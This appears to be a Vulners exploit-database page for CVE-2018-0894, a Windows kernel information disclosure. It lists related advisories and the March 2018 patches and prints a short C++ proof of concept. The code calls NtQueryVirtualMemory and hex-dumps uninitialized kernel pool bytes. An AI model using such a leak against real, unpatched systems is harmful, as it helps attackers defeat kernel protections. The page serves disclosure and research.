| Reporter | Title | Published | Views | Family All 54 |
|---|---|---|---|---|
| Microsoft Windows Kernel - NtQueryVirtualMemory(MemoryMappedFilenameInformation) 64-bit Pool Memory | 20 Mar 201800:00 | – | zdt | |
| CVE-2018-0894 | 20 Mar 201800:00 | – | circl | |
| Microsoft Windows Kernel Information Disclosure Vulnerability (CNVD-2018-06767) | 15 Mar 201800:00 | – | cnvd | |
| CVE-2018-0894 | 14 Mar 201817:00 | – | cve | |
| CVE-2018-0894 | 14 Mar 201817:00 | – | cvelist | |
| EUVD-2018-1685 | 14 Mar 201817:00 | – | euvd | |
| EUVD-2018-1692 | 14 Mar 201817:00 | – | euvd | |
| March 13, 2018—KB4088776 (OS Build 16299.309) | 6 Apr 201807:00 | – | mskb | |
| March 13, 2018—KB4088779 (OS Build 10586.1478) | 6 Apr 201807:00 | – | mskb | |
| March 13, 2018—KB4088782 (OS Build 15063.966 and 15063.968) | 6 Apr 201807:00 | – | mskb |
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
typedef enum _MEMORY_INFORMATION_CLASS {
MemoryMappedFilenameInformation = 2
} MEMORY_INFORMATION_CLASS;
extern "C"
NTSTATUS NTAPI NtQueryVirtualMemory(
_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress,
_In_ MEMORY_INFORMATION_CLASS MemoryInformationClass,
_Out_ PVOID MemoryInformation,
_In_ SIZE_T MemoryInformationLength,
_Out_opt_ PSIZE_T ReturnLength
);
VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
PBYTE Data = (PBYTE)Buffer;
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
int main() {
SIZE_T ReturnLength;
BYTE OutputBuffer[1024];
NTSTATUS st = NtQueryVirtualMemory(GetCurrentProcess(),
&main,
MemoryMappedFilenameInformation,
OutputBuffer,
sizeof(OutputBuffer),
&ReturnLength);
if (!NT_SUCCESS(st)) {
printf("NtQueryVirtualMemory failed, %x\n", st);
ExitProcess(1);
}
PrintHex(OutputBuffer, sizeof(UNICODE_STRING));
return 0;
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation